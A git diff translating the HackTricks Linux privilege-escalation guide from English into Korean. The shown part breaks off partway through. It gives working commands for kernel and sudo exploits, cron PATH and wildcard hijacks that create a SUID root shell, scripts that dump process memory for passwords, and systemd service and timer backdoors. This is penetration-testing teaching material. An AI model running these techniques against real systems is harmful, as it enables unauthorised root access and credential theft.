diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index afccf5db5..3093b1f8b 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -1,66 +1,55 @@ -# Linux Privilege Escalation +# 리눅스 권한 상승 {{#include ../../banners/hacktricks-training.md}} -## System Information +## 시스템 정보 -### OS info - -Let's start gaining some knowledge of the OS running +### OS 정보 +운영 중인 OS에 대한 정보를 얻는 것부터 시작합시다. ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` +### 경로 -### Path - -If you **have write permissions on any folder inside the `PATH`** variable you may be able to hijack some libraries or binaries: - +만약 당신이 **`PATH`** 변수 안의 어떤 폴더에 쓰기 권한이 있다면, 일부 라이브러리나 바이너리를 탈취할 수 있을지도 모릅니다: ```bash echo $PATH ``` - ### Env info -Interesting information, passwords or API keys in the environment variables? - +환경 변수에 흥미로운 정보, 비밀번호 또는 API 키가 있습니까? ```bash (env || set) 2>/dev/null ``` - ### Kernel exploits -Check the kernel version and if there is some exploit that can be used to escalate privileges - +커널 버전을 확인하고 권한 상승에 사용할 수 있는 취약점이 있는지 확인하십시오. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` +취약한 커널 목록과 이미 **컴파일된 익스플로잇**을 여기에서 찾을 수 있습니다: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) 및 [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\ +다른 사이트에서 **컴파일된 익스플로잇**을 찾을 수 있습니다: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -You can find a good vulnerable kernel list and some already **compiled exploits** here: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\ -Other sites where you can find some **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) - -To extract all the vulnerable kernel versions from that web you can do: - +그 웹사이트에서 모든 취약한 커널 버전을 추출하려면 다음과 같이 할 수 있습니다: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` - -Tools that could help to search for kernel exploits are: +커널 취약점을 검색하는 데 도움이 될 수 있는 도구는 다음과 같습니다: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (피해자에서 실행, 커널 2.x에 대한 취약점만 확인) -Always **search the kernel version in Google**, maybe your kernel version is written in some kernel exploit and then you will be sure that this exploit is valid. +항상 **Google에서 커널 버전을 검색**하세요. 아마도 귀하의 커널 버전이 일부 커널 취약점에 기록되어 있을 것이며, 그러면 이 취약점이 유효하다는 것을 확신할 수 있습니다. ### CVE-2016-5195 (DirtyCow) -Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 - +Linux 권한 상승 - Linux 커널 <= 3.19.0-73.8 ```bash # make dirtycow stable echo 0 > /proc/sys/vm/dirty_writeback_centisecs @@ -68,96 +57,73 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` +### Sudo 버전 -### Sudo version - -Based on the vulnerable sudo versions that appear in: - +취약한 sudo 버전은 다음에 나타납니다: ```bash searchsploit sudo ``` - -You can check if the sudo version is vulnerable using this grep. - +이 grep을 사용하여 sudo 버전이 취약한지 확인할 수 있습니다. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` - #### sudo < v1.28 From @sickrov - ``` sudo -u#-1 /bin/bash ``` +### Dmesg 서명 검증 실패 -### Dmesg signature verification failed - -Check **smasher2 box of HTB** for an **example** of how this vuln could be exploited - +**HTB의 smasher2 박스**에서 이 취약점이 어떻게 악용될 수 있는지에 대한 **예제**를 확인하세요. ```bash dmesg 2>/dev/null | grep "signature" ``` - -### More system enumeration - +### 시스템 열거 추가 ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` - -## Enumerate possible defenses +## 가능한 방어 수단 열거 ### AppArmor - ```bash if [ `which aa-status 2>/dev/null` ]; then - aa-status - elif [ `which apparmor_status 2>/dev/null` ]; then - apparmor_status - elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then - ls -d /etc/apparmor* - else - echo "Not found AppArmor" +aa-status +elif [ `which apparmor_status 2>/dev/null` ]; then +apparmor_status +elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then +ls -d /etc/apparmor* +else +echo "Not found AppArmor" fi ``` - ### Grsecurity - ```bash ((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity") ``` - ### PaX - ```bash (which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX") ``` - ### Execshield - ```bash (grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield") ``` - ### SElinux - ```bash - (sestatus 2>/dev/null || echo "Not found sestatus") +(sestatus 2>/dev/null || echo "Not found sestatus") ``` - ### ASLR - ```bash cat /proc/sys/kernel/randomize_va_space 2>/dev/null #If 0, not enabled ``` - ## Docker Breakout -If you are inside a docker container you can try to escape from it: +당신이 도커 컨테이너 안에 있다면, 그것에서 탈출하려고 시도할 수 있습니다: {{#ref}} docker-security/ @@ -165,80 +131,69 @@ docker-security/ ## Drives -Check **what is mounted and unmounted**, where and why. If anything is unmounted you could try to mount it and check for private info - +**마운트된 것과 마운트 해제된 것**을 확인하고, 어디서 왜 그런지 확인하세요. 만약 어떤 것이 마운트 해제되어 있다면, 그것을 마운트하고 개인 정보를 확인해 볼 수 있습니다. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null #Check if credentials in fstab grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` +## 유용한 소프트웨어 -## Useful software - -Enumerate useful binaries - +유용한 바이너리 나열 ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` - -Also, check if **any compiler is installed**. This is useful if you need to use some kernel exploit as it's recommended to compile it in the machine where you are going to use it (or in one similar) - +또한 **어떤 컴파일러가 설치되어 있는지 확인하십시오**. 이는 커널 익스플로잇을 사용해야 할 경우 유용하며, 이를 사용할 머신(또는 유사한 머신)에서 컴파일하는 것이 권장됩니다. ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` +### 취약한 소프트웨어 설치됨 -### Vulnerable Software Installed - -Check for the **version of the installed packages and services**. Maybe there is some old Nagios version (for example) that could be exploited for escalating privileges…\ -It is recommended to check manually the version of the more suspicious installed software. - +**설치된 패키지 및 서비스의 버전**을 확인하십시오. 권한 상승을 위해 악용될 수 있는 오래된 Nagios 버전(예:)이 있을 수 있습니다…\ +더 의심스러운 설치된 소프트웨어의 버전을 수동으로 확인하는 것이 좋습니다. ```bash dpkg -l #Debian rpm -qa #Centos ``` +SSH에 대한 접근 권한이 있는 경우, **openVAS**를 사용하여 머신에 설치된 구식 및 취약한 소프트웨어를 확인할 수 있습니다. -If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. +> [!NOTE] > _이 명령은 대부분 쓸모없는 많은 정보를 표시하므로, 설치된 소프트웨어 버전이 알려진 취약점에 취약한지 확인할 수 있는 OpenVAS와 같은 애플리케이션을 사용하는 것이 권장됩니다._ -> [!NOTE] > _Note that these commands will show a lot of information that will mostly be useless, therefore it's recommended some applications like OpenVAS or similar that will check if any installed software version is vulnerable to known exploits_ - -## Processes - -Take a look at **what processes** are being executed and check if any process has **more privileges than it should** (maybe a tomcat being executed by root?) +## 프로세스 +**어떤 프로세스**가 실행되고 있는지 살펴보고, 어떤 프로세스가 **필요 이상으로 권한이 있는지** 확인하십시오 (예: root에 의해 실행되는 tomcat?). ```bash ps aux ps -ef top -n 1 ``` +항상 가능한 [**electron/cef/chromium 디버거**가 실행 중인지 확인하세요. 이를 악용하여 권한을 상승시킬 수 있습니다](electron-cef-chromium-debugger-abuse.md). **Linpeas**는 프로세스의 명령줄에서 `--inspect` 매개변수를 확인하여 이를 감지합니다.\ +또한 **프로세스 바이너리에 대한 권한을 확인하세요**, 누군가를 덮어쓸 수 있을지도 모릅니다. -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Also **check your privileges over the processes binaries**, maybe you can overwrite someone. +### 프로세스 모니터링 -### Process monitoring +[**pspy**](https://github.com/DominicBreuker/pspy)와 같은 도구를 사용하여 프로세스를 모니터링할 수 있습니다. 이는 자주 실행되는 취약한 프로세스를 식별하거나 특정 요구 사항이 충족될 때 매우 유용할 수 있습니다. -You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met. +### 프로세스 메모리 -### Process memory - -Some services of a server save **credentials in clear text inside the memory**.\ -Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\ -However, remember that **as a regular user you can read the memory of the processes you own**. +서버의 일부 서비스는 **메모리 내에 자격 증명을 평문으로 저장합니다**.\ +일반적으로 다른 사용자의 프로세스 메모리를 읽으려면 **루트 권한**이 필요하므로, 이는 보통 이미 루트일 때 더 유용하며 더 많은 자격 증명을 발견하고자 할 때 사용됩니다.\ +그러나 **일반 사용자로서 자신이 소유한 프로세스의 메모리를 읽을 수 있다는 점을 기억하세요**. > [!WARNING] -> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. +> 현재 대부분의 머신은 **기본적으로 ptrace를 허용하지 않습니다**. 이는 권한이 없는 사용자가 소유한 다른 프로세스를 덤프할 수 없음을 의미합니다. > -> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: +> 파일 _**/proc/sys/kernel/yama/ptrace_scope**_는 ptrace의 접근성을 제어합니다: > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. -> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. -> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. -> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. +> - **kernel.yama.ptrace_scope = 0**: 모든 프로세스는 동일한 uid를 가진 한 디버깅할 수 있습니다. 이것이 ptracing이 작동하던 고전적인 방식입니다. +> - **kernel.yama.ptrace_scope = 1**: 오직 부모 프로세스만 디버깅할 수 있습니다. +> - **kernel.yama.ptrace_scope = 2**: 오직 관리자가 ptrace를 사용할 수 있으며, 이는 CAP_SYS_PTRACE 권한이 필요합니다. +> - **kernel.yama.ptrace_scope = 3**: 어떤 프로세스도 ptrace로 추적할 수 없습니다. 설정 후에는 ptracing을 다시 활성화하려면 재부팅이 필요합니다. #### GDB -If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. - +FTP 서비스의 메모리에 접근할 수 있다면 (예를 들어) 힙을 가져와 그 안의 자격 증명을 검색할 수 있습니다. ```bash gdb -p (gdb) info proc mappings @@ -247,50 +202,42 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` - -#### GDB Script - +#### GDB 스크립트 ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh grep rw-p /proc/$1/maps \ - | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \ - | while read start stop; do \ - gdb --batch --pid $1 -ex \ - "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \ +| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \ +| while read start stop; do \ +gdb --batch --pid $1 -ex \ +"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \ done ``` - #### /proc/$pid/maps & /proc/$pid/mem -For a given process ID, **maps show how memory is mapped within that process's** virtual address space; it also shows the **permissions of each mapped region**. The **mem** pseudo file **exposes the processes memory itself**. From the **maps** file we know which **memory regions are readable** and their offsets. We use this information to **seek into the mem file and dump all readable regions** to a file. - +주어진 프로세스 ID에 대해, **maps는 해당 프로세스의** 가상 주소 공간 내에서 메모리가 어떻게 매핑되어 있는지를 보여줍니다; 또한 **각 매핑된 영역의 권한**도 보여줍니다. **mem** 가상 파일은 **프로세스의 메모리 자체를 노출**합니다. **maps** 파일에서 우리는 어떤 **메모리 영역이 읽을 수 있는지**와 그 오프셋을 알 수 있습니다. 우리는 이 정보를 사용하여 **mem 파일로 이동하고 모든 읽을 수 있는 영역을** 파일로 덤프합니다. ```bash procdump() ( - cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-" - while read a b; do - dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \ - skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin" - done ) - cat $1*.bin > $1.dump - rm $1*.bin +cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-" +while read a b; do +dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \ +skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin" +done ) +cat $1*.bin > $1.dump +rm $1*.bin ) ``` - #### /dev/mem -`/dev/mem` provides access to the system's **physical** memory, not the virtual memory. The kernel's virtual address space can be accessed using /dev/kmem.\ -Typically, `/dev/mem` is only readable by **root** and **kmem** group. - +`/dev/mem`은 시스템의 **물리적** 메모리에 접근을 제공합니다. 커널의 가상 주소 공간은 /dev/kmem을 사용하여 접근할 수 있습니다.\ +일반적으로 `/dev/mem`은 **root**와 **kmem** 그룹만 읽을 수 있습니다. ``` strings /dev/mem -n10 | grep -i PASS ``` - ### ProcDump for linux -ProcDump is a Linux reimagining of the classic ProcDump tool from the Sysinternals suite of tools for Windows. Get it in [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) - +ProcDump는 Windows의 Sysinternals 도구 모음에서 클래식 ProcDump 도구를 재구성한 Linux 버전입니다. [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)에서 다운로드하세요. ``` procdump -p 1714 @@ -317,48 +264,42 @@ Press Ctrl-C to end monitoring without terminating the process. [20:20:58 - INFO]: Timed: [20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714 ``` +### 도구 -### Tools - -To dump a process memory you could use: +프로세스 메모리를 덤프하려면 다음을 사용할 수 있습니다: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_You can manually remove root requirements and dump the process owned by you -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is required) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_루트 요구 사항을 수동으로 제거하고 본인이 소유한 프로세스를 덤프할 수 있습니다. +- [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf)의 스크립트 A.5 (루트가 필요함) -### Credentials from Process Memory +### 프로세스 메모리에서의 자격 증명 -#### Manual example - -If you find that the authenticator process is running: +#### 수동 예제 +인증 프로세스가 실행 중인 경우: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` - -You can dump the process (see before sections to find different ways to dump the memory of a process) and search for credentials inside the memory: - +프로세스를 덤프할 수 있습니다(프로세스의 메모리를 덤프하는 다양한 방법을 찾으려면 이전 섹션을 참조하세요) 그리고 메모리 내에서 자격 증명을 검색할 수 있습니다: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` - #### mimipenguin -The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) will **steal clear text credentials from memory** and from some **well known files**. It requires root privileges to work properly. +이 도구 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin)는 **메모리에서 평문 자격 증명을 훔치고** 일부 **잘 알려진 파일**에서 가져옵니다. 제대로 작동하려면 루트 권한이 필요합니다. -| Feature | Process Name | +| 기능 | 프로세스 이름 | | ------------------------------------------------- | -------------------- | -| GDM password (Kali Desktop, Debian Desktop) | gdm-password | +| GDM 비밀번호 (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Active FTP Connections) | vsftpd | -| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | -| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | +| VSFTPd (활성 FTP 연결) | vsftpd | +| Apache2 (활성 HTTP 기본 인증 세션) | apache2 | +| OpenSSH (활성 SSH 세션 - Sudo 사용) | sshd: | #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) - ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -372,186 +313,158 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` - ## Scheduled/Cron jobs -Check if any scheduled job is vulnerable. Maybe you can take advantage of a script being executed by root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?). - +예약된 작업이 취약한지 확인하십시오. 루트에 의해 실행되는 스크립트를 이용할 수 있을지도 모릅니다 (와일드카드 취약점? 루트가 사용하는 파일을 수정할 수 있습니까? 심볼릭 링크를 사용할 수 있습니까? 루트가 사용하는 디렉토리에 특정 파일을 생성할 수 있습니까?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` +### Cron 경로 -### Cron path +예를 들어, _/etc/crontab_ 안에서 PATH를 찾을 수 있습니다: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -For example, inside _/etc/crontab_ you can find the PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ - -(_Note how the user "user" has writing privileges over /home/user_) - -If inside this crontab the root user tries to execute some command or script without setting the path. For example: _\* \* \* \* root overwrite.sh_\ -Then, you can get a root shell by using: +(_사용자 "user"가 /home/user에 대한 쓰기 권한을 가지고 있는 것을 주목하세요_) +이 crontab 안에서 root 사용자가 경로를 설정하지 않고 어떤 명령이나 스크립트를 실행하려고 하면, 예를 들어: _\* \* \* \* root overwrite.sh_\ +그렇다면, 다음을 사용하여 root 셸을 얻을 수 있습니다: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` +### Cron을 사용한 와일드카드가 있는 스크립트 (와일드카드 주입) -### Cron using a script with a wildcard (Wildcard Injection) - -If a script is executed by root has a “**\***” inside a command, you could exploit this to make unexpected things (like privesc). Example: - +루트에 의해 실행되는 스크립트에 명령어 안에 “**\***”가 포함되어 있다면, 이를 이용해 예상치 못한 일을 발생시킬 수 있습니다 (예: 권한 상승). 예: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` +**와일드카드가** _**/some/path/\***_ **와 같은 경로 앞에 있으면 취약하지 않습니다 (심지어** _**./\***_ **도 그렇습니다).** -**If the wildcard is preceded of a path like** _**/some/path/\***_ **, it's not vulnerable (even** _**./\***_ **is not).** - -Read the following page for more wildcard exploitation tricks: +다음 페이지에서 더 많은 와일드카드 악용 기법을 읽어보세요: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Cron script overwriting and symlink - -If you **can modify a cron script** executed by root, you can get a shell very easily: +### 크론 스크립트 덮어쓰기 및 심볼릭 링크 +**루트에 의해 실행되는 크론 스크립트를 수정할 수 있다면**, 매우 쉽게 쉘을 얻을 수 있습니다: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` - -If the script executed by root uses a **directory where you have full access**, maybe it could be useful to delete that folder and **create a symlink folder to another one** serving a script controlled by you - +루트에 의해 실행된 스크립트가 **당신이 완전한 접근 권한을 가진 디렉토리**를 사용한다면, 그 폴더를 삭제하고 **당신이 제어하는 스크립트를 제공하는 다른 폴더에 대한 심볼릭 링크 폴더를 생성하는 것이 유용할 수 있습니다.** ```bash ln -d -s ``` +### 빈번한 cron 작업 -### Frequent cron jobs - -You can monitor the processes to search for processes that are being executed every 1, 2 or 5 minutes. Maybe you can take advantage of it and escalate privileges. - -For example, to **monitor every 0.1s during 1 minute**, **sort by less executed commands** and delete the commands that have been executed the most, you can do: +1분, 2분 또는 5분마다 실행되는 프로세스를 검색하기 위해 프로세스를 모니터링할 수 있습니다. 이를 활용하여 권한을 상승시킬 수 있습니다. +예를 들어, **1분 동안 0.1초마다 모니터링**하고, **덜 실행된 명령어로 정렬**한 후, 가장 많이 실행된 명령어를 삭제하려면 다음과 같이 할 수 있습니다: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` +**다음과 같이 사용할 수 있습니다** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (이것은 시작하는 모든 프로세스를 모니터링하고 나열합니다). -**You can also use** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (this will monitor and list every process that starts). - -### Invisible cron jobs - -It's possible to create a cronjob **putting a carriage return after a comment** (without newline character), and the cron job will work. Example (note the carriage return char): +### 보이지 않는 크론 작업 +크론 작업을 **주석 뒤에 캐리지 리턴을 넣어 생성하는 것이 가능합니다** (줄 바꿈 문자가 없이), 그리고 크론 작업이 작동합니다. 예시 (캐리지 리턴 문자를 주목하세요): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` +## 서비스 -## Services +### 쓰기 가능한 _.service_ 파일 -### Writable _.service_ files +`.service` 파일에 쓸 수 있는지 확인하세요. 쓸 수 있다면, 서비스가 **시작**, **재시작** 또는 **중지**될 때 **백도어를 실행하도록** **수정할 수 있습니다** (아마도 기계가 재부팅될 때까지 기다려야 할 수도 있습니다).\ +예를 들어, .service 파일 안에 **`ExecStart=/tmp/script.sh`**로 백도어를 생성하세요. -Check if you can write any `.service` file, if you can, you **could modify it** so it **executes** your **backdoor when** the service is **started**, **restarted** or **stopped** (maybe you will need to wait until the machine is rebooted).\ -For example create your backdoor inside the .service file with **`ExecStart=/tmp/script.sh`** +### 쓰기 가능한 서비스 바이너리 -### Writable service binaries +서비스에 의해 실행되는 바이너리에 **쓰기 권한**이 있는 경우, 이를 백도어로 변경할 수 있으므로 서비스가 다시 실행될 때 백도어가 실행됩니다. -Keep in mind that if you have **write permissions over binaries being executed by services**, you can change them for backdoors so when the services get re-executed the backdoors will be executed. - -### systemd PATH - Relative Paths - -You can see the PATH used by **systemd** with: +### systemd PATH - 상대 경로 +**systemd**에서 사용되는 PATH를 확인할 수 있습니다: ```bash systemctl show-environment ``` - -If you find that you can **write** in any of the folders of the path you may be able to **escalate privileges**. You need to search for **relative paths being used on service configurations** files like: - +경로의 폴더 중 어느 곳에서든 **쓰기**가 가능하다고 판단되면 **권한 상승**이 가능할 수 있습니다. 다음과 같은 서비스 구성 파일에서 사용되는 **상대 경로**를 검색해야 합니다: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` +그런 다음, 쓸 수 있는 systemd PATH 폴더 내에 **상대 경로 바이너리**와 **같은 이름**의 **실행 파일**을 생성하고, 서비스가 취약한 작업(**시작**, **중지**, **다시 로드**)을 실행하라고 요청받을 때, 당신의 **백도어가 실행될 것입니다** (비특권 사용자는 일반적으로 서비스를 시작/중지할 수 없지만 `sudo -l`을 사용할 수 있는지 확인하십시오). -Then, create an **executable** with the **same name as the relative path binary** inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action (**Start**, **Stop**, **Reload**), your **backdoor will be executed** (unprivileged users usually cannot start/stop services but check if you can use `sudo -l`). +**`man systemd.service`를 통해 서비스에 대해 더 알아보세요.** -**Learn more about services with `man systemd.service`.** +## **타이머** -## **Timers** - -**Timers** are systemd unit files whose name ends in `**.timer**` that control `**.service**` files or events. **Timers** can be used as an alternative to cron as they have built-in support for calendar time events and monotonic time events and can be run asynchronously. - -You can enumerate all the timers with: +**타이머**는 `**.service**` 파일이나 이벤트를 제어하는 `**.timer**`로 끝나는 systemd 유닛 파일입니다. **타이머**는 달력 시간 이벤트와 단조 시간 이벤트에 대한 기본 지원이 있어 비동기적으로 실행될 수 있으므로 cron의 대안으로 사용될 수 있습니다. +다음 명령어로 모든 타이머를 나열할 수 있습니다: ```bash systemctl list-timers --all ``` - ### Writable timers -If you can modify a timer you can make it execute some existents of systemd.unit (like a `.service` or a `.target`) - +타이머를 수정할 수 있다면, 시스템의 일부인 systemd.unit(예: `.service` 또는 `.target`)을 실행하도록 만들 수 있습니다. ```bash Unit=backdoor.service ``` +문서에서 유닛에 대해 읽을 수 있습니다: -In the documentation you can read what the Unit is: +> 이 타이머가 만료될 때 활성화할 유닛입니다. 인수는 ".timer" 접미사가 없는 유닛 이름입니다. 지정하지 않으면 이 값은 접미사를 제외한 타이머 유닛과 동일한 이름을 가진 서비스로 기본 설정됩니다. (위 참조.) 활성화되는 유닛 이름과 타이머 유닛의 유닛 이름은 접미사를 제외하고 동일하게 명명하는 것이 좋습니다. -> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. +따라서 이 권한을 악용하려면 다음이 필요합니다: -Therefore, to abuse this permission you would need to: +- **쓰기 가능한 바이너리**를 **실행하는** 일부 systemd 유닛(예: `.service`) 찾기 +- **상대 경로**를 **실행하는** 일부 systemd 유닛을 찾고, **systemd PATH**에 대해 **쓰기 권한**이 있어야 합니다(해당 실행 파일을 가장하기 위해) -- Find some systemd unit (like a `.service`) that is **executing a writable binary** -- Find some systemd unit that is **executing a relative path** and you have **writable privileges** over the **systemd PATH** (to impersonate that executable) +**타이머에 대해 더 알아보려면 `man systemd.timer`를 참조하세요.** -**Learn more about timers with `man systemd.timer`.** - -### **Enabling Timer** - -To enable a timer you need root privileges and to execute: +### **타이머 활성화** +타이머를 활성화하려면 루트 권한이 필요하며 다음을 실행해야 합니다: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` +**타이머**는 `/etc/systemd/system/.wants/.timer`에 대한 심볼릭 링크를 생성하여 **활성화**됩니다. -Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` +## 소켓 -## Sockets +유닉스 도메인 소켓(UDS)은 클라이언트-서버 모델 내에서 동일하거나 다른 머신 간의 **프로세스 통신**을 가능하게 합니다. 이들은 컴퓨터 간 통신을 위해 표준 유닉스 디스크립터 파일을 사용하며, `.socket` 파일을 통해 설정됩니다. -Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. +소켓은 `.socket` 파일을 사용하여 구성할 수 있습니다. -Sockets can be configured using `.socket` files. +**`man systemd.socket`를 통해 소켓에 대해 더 